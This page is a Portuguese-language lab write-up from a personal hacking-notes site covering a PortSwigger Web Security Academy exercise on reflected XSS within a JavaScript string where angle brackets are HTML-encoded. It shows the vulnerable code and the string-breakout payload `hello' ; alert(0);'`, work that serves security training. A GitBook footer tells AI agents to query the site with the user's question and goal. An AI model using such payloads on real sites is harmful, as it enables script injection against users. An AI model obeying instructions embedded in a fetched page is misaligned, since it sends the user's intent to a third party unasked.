> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-xss-in-a-javascript-string-with-html-encoded-angle-brackets.md).

# XSS Refletido em uma String JavaScript com Colchetes Angulares Codificados em HTML

Notas sobre XSS Refletido em uma String JavaScript com Colchetes Angulares Codificados em HTML para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e reme

### XSS refletido em uma string JavaScript com colchetes angulares codificados em HTML

Este laboratório contém uma vulnerabilidade do tipo XSS refletida no mecanismo de rastreamento de consultas de pesquisa: os colchetes angulares (`<` e `>`) são codificados em HTML, mas o valor refletido é inserido dentro de uma \*\*string JavaScript\*\*. O objetivo é sair dessa string JS e chamar `alert()`.

**Trecho relevante ao código observado**

{% code overflow="wrap" %}

```javascript
var searchTerms = 'hello';
   document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d63c624dccd988c20d69f5c1a1c22cd950ab46ff%2F%7BF4D7F7B2-0557-41E0-A2B0-85CCD872B93F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

O valor da pesquisa (`searchTerms`) é concatenado em uma `document.write` instrução dentro de uma string HTML construída em JavaScript. Ao injetar um apóstrofo (`'`) no valor, você pode fechar a string JavaScript atual e executar código arbitrário.

```javascript
hello'
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a1d42efd972c9f1970689ef4445a2d0836d8d6de%2F%7B4C4E6FD2-56BF-4B1F-A489-67C396363992%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Ao enviar a seguinte string como valor de busca, você fecha a string, executa `alert(0)` e então fecha:

```javascript
hello' ; alert(0);'
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8029beebb7a4c9902dd1bfee11320e7bf6e2a932%2F%7B0F4D322D-7C96-4F38-AC0A-BDA64E513A17%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/reflected-xss-in-a-javascript-string-with-html-encoded-angle-brackets.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
